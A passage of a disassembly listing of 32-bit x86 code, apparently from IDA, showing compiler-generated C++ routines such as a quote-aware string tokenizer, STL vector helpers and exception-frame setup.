arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F60
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
